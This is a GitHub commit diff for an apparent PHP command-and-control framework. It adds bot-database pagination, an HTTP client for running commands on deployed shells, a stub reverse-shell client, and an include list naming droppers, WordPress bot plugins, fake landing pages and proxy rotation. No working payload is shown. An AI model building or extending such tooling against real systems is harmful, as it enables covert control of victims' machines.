Skip to content

Commit

Permalink
😸
Browse files Browse the repository at this point in the history
Added pagination of information in the database.  Client will successfully execute commands and process the output in the users terminal. This will be expanded with more functionality, and the pagination will ALSO be expanded to have more functionality, right now its buggy and is prone if you exceed the last page to not print any results. oops. it happens. Will likely improve upon the pagination portion, just wanted to get it working.
  • Loading branch information
oldkingcone committed Dec 31, 2023
1 parent 6b777f2 commit 630f01d
Show file tree
Hide file tree
Showing 11 changed files with 328 additions and 182 deletions.
3 changes: 2 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -7,5 +7,6 @@
# Editor-based HTTP Client requests
/httpRequests/
test.php
lib/vendor/*
lib/composer.lock
/lib/vendor/
/.scache/
33 changes: 22 additions & 11 deletions lib/classes.inc.php
Original file line number Diff line number Diff line change
Expand Up @@ -2,30 +2,41 @@

// auto load
include "lib/vendor/autoload.php";
// custom php classes
//curl stuff
include "lib/curlStuff/defaultClient/genericClientExecuteCommands.php";
include "lib/curlStuff/defaultClient/genericClientValidateHosts.php";
include "lib/curlStuff/defaultClient/genericClientExecuteReverseShell.php";
include "lib/curlStuff/validateMeMore/talkToMeDamnit.php";
include "lib/curlStuff/mainCurl.php";
//bots
include "lib/bots/bot_cmds/doMyBidding.php";
include "lib/bots/bot_coms/listenToMe.php";
include "lib/bots/bot_esplode/mustRetreat.php";
include "lib/bots/bot_files/hereEatThis.php";
// make new bots
include "lib/new_bots/makeMeSlim/slimDropper.php";
include "lib/new_bots/wordpressPlugins/makeMeWordPressing.php";
//crypto
include "lib/crypto/encryptMyComs/hideMyCommunication.php";
include "lib/crypto/needSalt/missingSalt.php";
include "lib/proxyWorks/confirmProxy.php";
include "lib/crypto/certMaker/certGenerator.php";
// config and menu + logo
include "lib/config/defaultConfig.php";
include "lib/fake_the_landing/randomDefaultPage.php";
include "lib/logos/art/artisticStuff.php";
include "lib/logos/menus/mainMenu.php";
include "lib/new_bots/makeMeSlim/slimDropper.php";
include "lib/proxies/populateRandomProxies.php";
include "lib/userAgents/agentsList.php";
// init
include "lib/initialization/slop_pg/slop_pg.php";
include "lib/initialization/initializeC2/initializeC2ConfigFile.php";
include "lib/fake_the_landing/randomDefaultPage.php";
//proxies
include "lib/proxies/randomProxies/populateRandomProxies.php";
include "lib/proxyWorks/confirmProxy.php";
//database
include "lib/database/slopPgSql.php";
include "lib/initialization/slop_sqlite/slop_sqlite.php";
include "lib/database/slopSqlite.php";
include "lib/initialization/initializeC2/initializeC2ConfigFile.php";
include "lib/new_bots/wordpressPlugins/makeMeWordPressing.php";
include "lib/curlStuff/mainCurl.php";
include "lib/crypto/certMaker/certGenerator.php";



use config\defaultConfig;

Expand All @@ -51,5 +62,5 @@
set_include_path(get_include_path() . constant("CUSTOM_PATH_SEPARATOR") . getcwd() . "/lib");

if (!defined("SQL_USE")){
$a = new initialization\initializeC2\initializeC2ConfigFile(default_config->exportConfigConstants()['slop_home'], true);
$a = new initialization\initializeC2\initializeC2ConfigFile(default_config->exportConfigConstants()['slop_home'], false);
}
3 changes: 2 additions & 1 deletion lib/composer.json
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
"jenssegers/optimus": "^1.1",
"fakerphp/faker": "^1.23",
"guzzlehttp/guzzle": "^7.8",
"ext-zlib": "*"
"ext-zlib": "*",
"monolog/monolog": "^3.5"
}
}
16 changes: 15 additions & 1 deletion lib/curlStuff/defaultClient/genericClientExecuteCommands.php
Original file line number Diff line number Diff line change
Expand Up @@ -3,17 +3,31 @@
namespace curlStuff\defaultClient;

use GuzzleHttp\Client;
use GuzzleHttp\Cookie\CookieJar;
use GuzzleHttp\HandlerStack;
use GuzzleHttp\Middleware;
use GuzzleHttp\MessageFormatter;
use Monolog\Logger;
use Psr\Http\Message\ResponseInterface;
use GuzzleHttp\Exception\ConnectException;

class genericClientExecuteCommands extends Client
{
private CookieJar $cookieJar;

public function __construct(array $config = [])
{
$config['http_errors'] = false;
$config['debug'] = false;
parent::__construct($config);
}

public function head($uri, array $options = []): ResponseInterface
{
return $this->head($uri);
try {
return parent::head($uri, $options);
}catch (ConnectException){
throw new \Exception("\033[0;31mIt appears as though we were not able to connect properly. Please check the supplied information and try again. Are you sure your shell was successfully deployed?\033[0m");
}
}
}
12 changes: 12 additions & 0 deletions lib/curlStuff/defaultClient/genericClientExecuteReverseShell.php
Original file line number Diff line number Diff line change
Expand Up @@ -6,5 +6,17 @@

class genericClientExecuteReverseShell extends Client
{
public function __construct(array $config = [])
{
parent::__construct($config);
}

public function executeReverseShell(array $options = [])
{
// code for executing reverse shell
if (is_null(array_key_last($options))){
throw new \InvalidArgumentException("\033[0;31moptions cannot be null.\033[0m");
}
}

}
14 changes: 14 additions & 0 deletions lib/curlStuff/defaultClient/genericClientValidateHosts.php
Original file line number Diff line number Diff line change
Expand Up @@ -3,11 +3,25 @@
namespace curlStuff\defaultClient;

use GuzzleHttp\Client;
use Psr\Http\Message\ResponseInterface;

class genericClientValidateHosts extends Client
{
public function __construct(array $config = [])
{
parent::__construct($config);
}

public function head($uri, array $options = []): ResponseInterface
{
if (is_null(array_key_last($options))){
$options[] = $this->getConfig();
}
return parent::head($uri, $options);
}

public function getConfig(string $option = null)
{
return parent::getConfig($option); // TODO: Change the autogenerated stub
}
}
58 changes: 39 additions & 19 deletions lib/database/slopSqlite.php
Original file line number Diff line number Diff line change
Expand Up @@ -9,9 +9,13 @@

class slopSqlite extends \SQLite3
{
private array $bot_data;
private $currentRows;

public function __construct(string $filename, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE)
{
parent::__construct($filename, $flags);
$this->bot_data = [];
}
public static function escapeString(string $string): string
{
Expand Down Expand Up @@ -122,7 +126,6 @@ private function insertEncryptedTool(array $data): bool
$stmt->bindValue(':is_encrypted', $data['is_encrypted']);
return $stmt->execute() !== false;
}

private function insertTool(array $data): bool
{
$stmt = $this->prepare("INSERT INTO sloppy_bots_tools(tool_name, target, base64_encoded_tool, lang, is_encrypted) VALUES(:tool_name, :target, :base64_encoded_tool, :lang, :is_encrypted);");
Expand All @@ -133,27 +136,46 @@ private function insertTool(array $data): bool
$stmt->bindValue(':is_encrypted', $data['is_encrypted']);
return $stmt->execute();
}
private function grabAndFormatOutput()
{
$res = $this->query('SELECT id, proto, rhost, uri, uuid, os_flavor, agent, cname, cvalue FROM sloppy_bots_main');
$rows = [];
while ($row = $res->fetchArray(SQLITE3_ASSOC)) $rows[] = $row;
$output = new ConsoleOutput();
$table = new Table($output);
$table->setHeaders(array_keys($rows[0]));
$table->setRows($rows);
$table->render();
public function grabAndFormatOutput(int $lastId = 0, int $itemsPerPage = 20)
{
$query = sprintf(
'SELECT id, proto, rhost, uri, uuid, os_flavor, agent, cname, cvalue
FROM sloppy_bots_main
WHERE id > %s
ORDER BY id ASC
LIMIT %s',
$lastId,
$itemsPerPage
);
$res = $this->query($query);
if (!is_bool($res)) {
$rows = [];
while ($row = $res->fetchArray(SQLITE3_ASSOC)) $rows[] = $row;
if (count($rows) === 0){
return $lastId;
}
$lastId = end($rows)['id'];
$output = new ConsoleOutput();
$table = new Table($output);
$table->setHeaders(array_keys($rows[0]));
$table->setRows($rows);
$table->render();
return $lastId;
} else {
return $lastId;
}
}

private function selectBot(string $id): array{
echo $id.PHP_EOL;
$this->bot_data = [];
$bot = $this->prepare('SELECT proto, rhost, uri, uuid, os_flavor, agent, cname, cvalue FROM sloppy_bots_main WHERE id = :bot_id');
$bot->bindValue(':bot_id', $id);
$r = $bot->execute();
$ro = [];
while ($res = $r->fetchArray(SQLITE3_ASSOC)){
var_dump($res);
$ro[] = $res;
$this->bot_data[] = $res;
}
return $ro;
return $this->bot_data;
}
public function slopSqlite(array $data): mixed
{
Expand All @@ -163,11 +185,9 @@ public function slopSqlite(array $data): mixed
}
try{
switch (true) {
case str_contains($data['action'], "fetch"):
$this->grabAndFormatOutput();
return true;
case str_contains($data['action'], "grabBot"):
return $this->selectBot($data['id']);
$this->selectBot($data['botID']);
return $this->bot_data;
case str_contains($data['action'], "add_press"):
return $this->insertPress($data);
case str_contains($data['action'], "add_bot"):
Expand Down
2 changes: 1 addition & 1 deletion lib/fake_the_landing/randomDefaultPage.php
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
namespace fake_the_landing;

use config\defaultConfig;

// look at using react PHP event loops for this.

/**
* @property string $characters
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<?php

namespace proxies;
namespace proxies\randomProxies;

class populateRandomProxies
{
Expand Down
Loading

0 comments on commit 630f01d

Please sign in to comment.